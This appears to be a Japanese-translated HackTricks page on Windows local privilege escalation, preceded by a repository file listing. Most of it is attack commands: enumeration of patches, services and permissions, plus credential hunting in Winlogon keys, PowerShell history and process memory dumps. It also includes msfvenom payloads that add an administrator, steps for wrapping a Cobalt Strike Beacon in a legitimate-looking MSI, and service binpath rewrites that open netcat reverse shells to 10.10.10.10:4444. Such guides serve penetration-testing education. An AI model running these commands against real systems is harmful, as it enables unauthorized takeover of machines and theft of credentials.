hacktricks/windows-hardening/windows-local-privilege-escalation
2024-04-18 03:40:36 +00:00
..
dll-hijacking GitBook: No commit message 2024-04-06 18:36:04 +00:00
privilege-escalation-abusing-tokens Translated ['windows-hardening/windows-local-privilege-escalation/privil 2024-02-25 12:24:19 +00:00
access-tokens.md Translated ['crypto-and-stego/hash-length-extension-attack.md', 'forensi 2024-04-18 03:40:36 +00:00
acls-dacls-sacls-aces.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-29 21:29:39 +00:00
appenddata-addsubdirectory-permission-over-service-registry.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
com-hijacking.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
create-msi-with-wix.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
dll-hijacking.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-18 14:52:15 +00:00
dpapi-extracting-passwords.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
from-high-integrity-to-system-with-name-pipes.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
integrity-levels.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
jaws.md Translated ['windows-hardening/active-directory-methodology/ad-certifica 2024-01-09 15:31:32 +00:00
juicypotato.md Translated ['crypto-and-stego/hash-length-extension-attack.md', 'forensi 2024-04-18 03:40:36 +00:00
leaked-handle-exploitation.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
msi-wrapper.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
named-pipe-client-impersonation.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
powerup.md Translated ['windows-hardening/active-directory-methodology/ad-certifica 2024-01-09 15:31:32 +00:00
privilege-escalation-abusing-tokens.md GitBook: No commit message 2024-04-06 18:36:04 +00:00
privilege-escalation-with-autorun-binaries.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-18 14:52:15 +00:00
README.md GitBook: No commit message 2024-04-06 18:36:04 +00:00
roguepotato-and-printspoofer.md Translated ['crypto-and-stego/hash-length-extension-attack.md', 'forensi 2024-04-18 03:40:36 +00:00
rottenpotato.md Translated ['windows-hardening/active-directory-methodology/ad-certifica 2024-01-09 15:31:32 +00:00
seatbelt.md Translated ['windows-hardening/active-directory-methodology/ad-certifica 2024-01-09 15:31:32 +00:00
sedebug-+-seimpersonate-copy-token.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
seimpersonate-from-high-to-system.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
windows-c-payloads.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00

Windows Local Privilege Escalation

htARTEHackTricks AWS Red Team Expert でAWSハッキングをゼロからヒーローまで学びましょう

Windowsローカル特権昇格ベクターを探すための最良のツール: WinPEAS

初期のWindows理論

アクセス トークン

Windowsアクセス トークンが何かわからない場合は、続行する前に次のページを読んでください:

{% content-ref url="access-tokens.md" %} access-tokens.md {% endcontent-ref %}

ACLs - DACLs/SACLs/ACEs

ACLs - DACLs/SACLs/ACEsに関する詳細情報については、次のページを確認してください:

{% content-ref url="acls-dacls-sacls-aces.md" %} acls-dacls-sacls-aces.md {% endcontent-ref %}

完全性レベル

Windowsの完全性レベルがわからない場合は、続行する前に次のページを読んでください:

{% content-ref url="integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

Windowsセキュリティコントロール

Windowsには、システムの列挙を防ぐ、実行可能ファイルを実行することさえも防ぐ、または活動を検出することができるさまざまな要素があります。特権昇格の列挙を開始する前に、次のページ読んでこれらの防御メカニズムをすべて列挙してください:

{% content-ref url="../authentication-credentials-uac-and-efs/" %} authentication-credentials-uac-and-efs {% endcontent-ref %}

システム情報

バージョン情報の列挙

Windowsバージョンに既知の脆弱性があるかどうかを確認してください適用されたパッチも確認してください

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

バージョンの脆弱性

このサイトは、Microsoftのセキュリティ脆弱性に関する詳細情報を検索するのに便利です。このデータベースには4,700以上のセキュリティ脆弱性があり、Windows環境が提示する膨大な攻撃面が示されています。

システム上

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeasにはwatsonが組み込まれています)

ローカルでシステム情報を使用

ExploitsのGithubリポジトリ:

環境

環境変数に保存された資格情報/重要情報はありますか?

set
dir env:
Get-ChildItem Env: | ft Key,Value

PowerShell の履歴

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell トランスクリプトファイル

これを有効にする方法については、https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/で学ぶことができます。

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShellモジュールのロギング

PowerShellパイプラインの実行の詳細が記録され、実行されたコマンド、コマンドの呼び出し、およびスクリプトの一部が含まれます。ただし、完全な実行の詳細と出力結果がキャプチャされない場合があります。

これを有効にするには、ドキュメントの「Transcript files」セクションの手順に従い、**「Powershell Transcription」の代わりに「Module Logging」**を選択してください。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

次のコマンドを実行して、Powershellログから最後の15件のイベントを表示できます

Get-WinEvent -LogName "Windows PowerShell" -MaxEvents 15
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell スクリプトブロックのロギング

スクリプトの実行に関する完全なアクティビティと内容の記録がキャプチャされ、コードの各ブロックが実行される際に文書化されます。このプロセスにより、各アクティビティの包括的な監査トレイルが保存され、フォレンジックや悪意のある振る舞いの分析に役立ちます。実行時にすべてのアクティビティを文書化することで、プロセスに関する詳細な洞察が提供されます。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

スクリプトブロックのログイベントは、Windowsイベントビューアー内のパスで見つけることができます: アプリケーションとサービスのログ > Microsoft > Windows > PowerShell > Operational
最後の20イベントを表示するには次を使用します:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

インターネット設定

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

ドライブ

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

システムがhttpSではなくhttpを使用して更新を要求していない場合、システムを侵害できます。

次のコマンドを実行して、ネットワークが非SSL WSUS更新を使用しているかどうかを確認できます。

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

もし次のような返信を受け取った場合:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

そして、HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer1 と等しい場合、それは悪用可能です。 最後のレジストリが0と等しい場合、WSUSエントリは無視されます。

これらの脆弱性を悪用するために、WsuxploitpyWSUSなどのツールを使用できます。これらは、非SSL WSUSトラフィックに「偽の」更新を注入するためのMiTM武器化されたエクスプロイトスクリプトです。

こちらの研究を読んでください:

{% file src="../../.gitbook/assets/CTX_WSUSpect_White_Paper (1).pdf" %}

WSUS CVE-2020-1013

完全なレポートはこちら
基本的に、このバグが悪用する欠陥は次のとおりです:

もしローカルユーザープロキシを変更する権限があれば、かつWindows UpdatesがInternet Explorerの設定で構成されたプロキシを使用している場合、私たちは自分自身のトラフィックを傍受し、資産上の昇格ユーザーとしてコードを実行する権限を持つPyWSUSをローカルで実行する権限を持ちます。

さらに、WSUSサービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。 WSUSホスト名の自己署名証明書を生成し、この証明書を現在のユーザーの証明書ストアに追加すると、HTTPおよびHTTPSのWSUSトラフィックを傍受できるようになります。 WSUSは、証明書に対する信頼を最初に使用時に検証するHSTSのようなメカニズムを実装していません。 ユーザーによって信頼され、正しいホスト名を持つ証明書が提示された場合、サービスによって受け入れられます。

この脆弱性を悪用するには、WSUSpiciousツールを使用します(解放されたら)。

KrbRelayUp

特定の条件下で、Windows ドメイン環境においてローカル特権昇格脆弱性が存在します。これらの条件には、LDAP署名が強制されていない環境、ユーザーがResource-Based Constrained Delegation (RBCD) を構成する権限を持ち、ユーザーがドメイン内でコンピュータを作成できる能力が含まれます。これらの要件デフォルト設定を使用して満たされることが重要です。

エクスプロイトはhttps://github.com/Dec0ne/KrbRelayUpで見つけることができます。

攻撃の流れについての詳細情報はhttps://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/をチェックしてください。

AlwaysInstallElevated

これらの2つのレジストリが有効になっている場合(値が0x1)、任意の特権を持つユーザーが*.msiファイルをNT AUTHORITY\SYSTEMとしてインストール(実行)できます。

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit ペイロード

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated

PowerUP

Use the Write-UserAddMSI command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access):

Write-UserAddMSI

MSIラッパー

このツールを使用してMSIラッパーを作成する方法について学ぶために、このチュートリアルを読んでください。コマンドラインを実行したい場合は、.batファイルをラップできることに注意してください。

{% content-ref url="msi-wrapper.md" %} msi-wrapper.md {% endcontent-ref %}

WIXを使用したMSIの作成

{% content-ref url="create-msi-with-wix.md" %} create-msi-with-wix.md {% endcontent-ref %}

Visual Studioを使用したMSIの作成

  • Cobalt StrikeまたはMetasploitでC:\privesc\beacon.exe新しいWindows EXE TCPペイロードを生成します。
  • Visual Studioを開き、新しいプロジェクトを作成を選択し、検索ボックスに "installer" と入力します。Setup Wizardプロジェクトを選択して次へをクリックします。
  • プロジェクトにAlwaysPrivescなどの名前を付け、場所に**C:\privesc**を使用し、ソリューションとプロジェクトを同じディレクトリに配置を選択し、作成をクリックします。
  • 次へをクリックし続けて、ステップ3/4含めるファイルを選択に進みます。追加をクリックし、さきほど生成したBeaconペイロードを選択します。その後、完了をクリックします。
  • ソリューションエクスプローラAlwaysPrivescプロジェクトを強調表示し、プロパティTargetPlatformx86からx64に変更します。
  • インストールされるアプリをより正規に見せることができるAuthorManufacturerなどの他のプロパティを変更できます。
  • プロジェクトを右クリックし、表示 > カスタムアクションを選択します。
  • インストールを右クリックし、カスタムアクションの追加を選択します。
  • Application Folderをダブルクリックし、beacon.exeファイルを選択してOKをクリックします。これにより、インストーラが実行されるとすぐにBeaconペイロードが実行されるようになります。
  • カスタムアクションのプロパティRun64BitTrueに変更します。
  • 最後に、ビルドします。
  • File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'という警告が表示される場合は、プラットフォームをx64に設定していることを確認してください。

MSIのインストール

悪意のある.msiファイルのインストールバックグラウンドで実行するには:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

特権昇格

この脆弱性を悪用するには、exploit/windows/local/always_install_elevated を使用できます。

アンチウイルスおよび検出器

監査設定

これらの設定は何が記録されるかを決定するため、注意を払う必要があります。

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwardingは、ログがどこに送信されているかを知るのに興味深いです。

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPSは、ドメインに参加しているコンピュータ上のローカル管理者パスワードの管理を目的としており、各パスワードが一意でランダム化され、定期的に更新されることを保証します。これらのパスワードはActive Directory内で安全に保存され、ACLを介して十分な権限が付与されたユーザーのみがアクセスでき、承認された場合にのみローカル管理者パスワードを表示できます。

{% content-ref url="../active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

WDigest

WDigestが有効な場合、平文パスワードがLSASSLocal Security Authority Subsystem Serviceに保存されます。
WDigestに関する詳細情報はこちら

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Windows 8.1から、Microsoftはローカルセキュリティ機関LSAのメモリの読み取りやコードのインジェクションを阻止するための強化された保護を導入し、システムをさらに安全にします。
LSA Protectionに関する詳細はこちら

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

資格情報ガード

資格情報ガードWindows 10に導入されました。その目的は、デバイスに保存された資格情報をパスザハッシュ攻撃などの脅威から保護することです。資格情報ガードに関する詳細はこちら。

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

キャッシュされた資格情報

ドメイン資格情報ローカルセキュリティ機関LSAによって認証され、オペレーティングシステムコンポーネントによって利用されます。ユーザーのログオンデータが登録されたセキュリティパッケージによって認証されると、通常、ユーザーのためのドメイン資格情報が確立されます。
キャッシュされた資格情報に関する詳細はこちら

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

ユーザー&グループ

ユーザー&グループの列挙

所属しているグループの中に興味深い権限を持っているものがあるかどうかをチェックする必要があります。

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

特権グループ

特権グループに所属している場合、特権を昇格させることができる可能性があります。特権グループについて学び、特権昇格を悪用する方法についてはこちらを参照してください:

{% content-ref url="../active-directory-methodology/privileged-groups-and-token-privileges.md" %} privileged-groups-and-token-privileges.md {% endcontent-ref %}

トークン操作

トークンについて詳しく学ぶには、このページを参照してください:Windows Tokens.
興味深いトークンについて学び、それらを悪用する方法については、以下のページをチェックしてください:

{% content-ref url="privilege-escalation-abusing-tokens.md" %} privilege-escalation-abusing-tokens.md {% endcontent-ref %}

ログインユーザー / セッション

qwinsta
klist sessions

ホームフォルダ

dir C:\Users
Get-ChildItem C:\Users

パスワードポリシー

net accounts

クリップボードの内容を取得します

powershell -command "Get-Clipboard"

実行中のプロセス

ファイルおよびフォルダのアクセス権限

まず最初に、プロセスをリストアップして、プロセスのコマンドライン内にパスワードが含まれていないかを確認します。
実行中のバイナリを上書きできるか、またはバイナリフォルダに書き込み権限があるかどうかをチェックして、DLLハイジャック攻撃を悪用できるかどうかを確認します。

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

常に実行中のelectron/cef/chromium debuggersを確認し、特権を昇格させるために悪用できる可能性があるかどうかを確認してください

プロセスのバイナリの権限をチェック

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

プロセスのバイナリフォルダのアクセス許可をチェックする(DLLハイジャッキング

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

メモリーパスワードマイニング

Sysinternalsprocdump を使用して実行中のプロセスのメモリーダンプを作成できます。FTPのようなサービスでは、メモリー内に平文で資格情報が保存されていることがあります。メモリーダンプを取得して資格情報を読み取ってみてください。

procdump.exe -accepteula -ma <proc_name_tasklist>

セキュリティの脆弱なGUIアプリ

SYSTEMとして実行されているアプリケーションは、ユーザーがCMDを生成したり、ディレクトリを参照したりすることを許可する場合があります。

例: "Windowsヘルプとサポート" (Windows + F1)、"コマンドプロンプトを開く"をクリックして"コマンドプロンプトを開く"を検索します。

サービス

サービスのリストを取得します:

net start
wmic service list brief
sc query
Get-Service

権限

scを使用してサービスの情報を取得できます

sc qc <service_name>

以下は、各サービスに必要な特権レベルをチェックするために、Sysinternals から accesschk バイナリを使用することが推奨されています。

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

以下の手順で、「Authenticated Users」がどのサービスでも変更できるかどうかを確認することをお勧めします

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

ここからXP用のaccesschk.exeをダウンロードできます

サービスを有効にする

このエラーが発生している場合たとえばSSDPSRVの場合:

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

次の方法で有効にできます

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

サービスupnphostは、動作するためにSSDPSRVに依存していることに注意してくださいXP SP1の場合

この問題の別の回避策は、次のコマンドを実行することです:

sc.exe config usosvc start= auto

サービスのバイナリパスの変更

"Authenticated users" グループがサービスに SERVICE_ALL_ACCESS を持っている場合、サービスの実行可能バイナリを変更することが可能です。sc を変更して実行するには:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

サービスの再起動

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

特権はさまざまな権限を通じて昇格できます:

  • SERVICE_CHANGE_CONFIG:サービスバイナリの再構成を許可します。
  • WRITE_DAC:権限の再構成を可能にし、サービス構成の変更ができるようになります。
  • WRITE_OWNER:所有権の取得と権限の再構成を許可します。
  • GENERIC_WRITE:サービス構成の変更ができる能力を継承します。
  • GENERIC_ALL:サービス構成の変更ができる能力を継承します。

この脆弱性の検出と悪用には、exploit/windows/local/service_permissions を利用できます。

サービスバイナリの権限が弱い

サービスによって実行されるバイナリを変更できるか、またはバイナリが配置されているフォルダに書き込み権限があるかを確認してください(DLLハイジャック)。
wmicsystem32 以外)を使用してサービスによって実行されるすべてのバイナリを取得し、icacls を使用して権限を確認できます:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

あなたはscicaclsを使用することもできます:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

サービスレジストリの変更権限

サービスレジストリを変更できるかどうかを確認する必要があります。
次のようにして、サービスレジストリに対する権限を確認できます:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

次のことを確認する必要があります。Authenticated UsersまたはNT AUTHORITY\INTERACTIVEFullControl権限を持っているかどうか。その場合、サービスによって実行されるバイナリを変更できます。

実行されるバイナリのパスを変更するには:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

サービスレジストリのAppendData/AddSubdirectory権限

レジストリにこの権限がある場合、このレジストリからサブレジストリを作成できます。Windowsサービスの場合、これは任意のコードを実行するのに十分です:

{% content-ref url="appenddata-addsubdirectory-permission-over-service-registry.md" %} appenddata-addsubdirectory-permission-over-service-registry.md {% endcontent-ref %}

引用符のないサービスパス

実行可能ファイルへのパスが引用符で囲まれていない場合、Windowsはスペースの前のすべての終了を実行しようとします。

たとえば、パス C:\Program Files\Some Folder\Service.exe の場合、Windowsは次のように実行しようとします:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

組み込みのWindowsサービスに属するものを除く、すべての引用符のないサービスパスをリストアップします

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services

#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

この脆弱性を検出して悪用するには、metasploitを使用できますexploit/windows/local/trusted\_service\_path 手動でmetasploitを使用してサービスバイナリを作成することもできます

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

リカバリーアクション

Windowsでは、サービスが失敗した場合に実行するアクションをユーザーが指定できます。この機能は、バイナリを指定するように構成できます。このバイナリが置換可能であれば、特権昇格が可能になるかもしれません。詳細は公式ドキュメントに記載されています。

アプリケーション

インストールされたアプリケーション

バイナリのアクセス権(上書きして特権昇格を行うことができるかもしれません)とフォルダーのアクセス権(DLLハイジャッキング)を確認してください。

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

書き込み権限

特定のファイルを読むために設定ファイルを変更できるか、または管理者アカウントschedtasksによって実行されるバイナリを変更できるかどうかを確認します。

システム内の弱いフォルダ/ファイルの権限を見つける方法は次のとおりです:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

スタートアップ時に実行

異なるユーザーによって実行される可能性のあるレジストリまたはバイナリを上書きできるかどうかを確認します。
次のページ読んで、特権を昇格させるための興味深いautorunsの場所について詳しく学びます:

{% content-ref url="privilege-escalation-with-autorun-binaries.md" %} privilege-escalation-with-autorun-binaries.md {% endcontent-ref %}

ドライバー

可能な サードパーティーの奇妙で脆弱なドライバーを探します

driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL ハイジャッキング

PATH 内のフォルダに書き込み権限 がある場合、プロセスによって読み込まれる DLL をハイジャックして 特権を昇格 することができるかもしれません。

PATH 内のすべてのフォルダのアクセス権を確認します:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

このチェックを悪用する方法の詳細については、以下を参照してください:

{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}

ネットワーク

共有

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

ホストファイル

ホストファイルにハードコードされた他の既知のコンピュータをチェックします

type C:\Windows\System32\drivers\etc\hosts

ネットワークインターフェースDNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

オープンポート

外部からの制限されたサービスをチェックします

netstat -ano #Opened ports?

ルーティングテーブル

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP テーブル

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

ファイアウォールのルール

ファイアウォールに関連するコマンドはこちらをチェックしてください (ルールのリスト、ルールの作成、無効化、無効化...)

ネットワーク列挙のためのその他のコマンドはこちら

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

バイナリの bash.exeC:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe にも見つけることができます。

root ユーザーになると、任意のポートでリッスンすることができます(ポートで nc.exe を初めて使用すると、ファイアウォールによって nc が許可されるかどうかを GUI で尋ねられます)。

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Bashを簡単にrootとして起動するには、--default-user rootを試してみてください。

WSLファイルシステムは、フォルダC:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\で探索できます。

Windowsの資格情報

Winlogonの資格情報

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
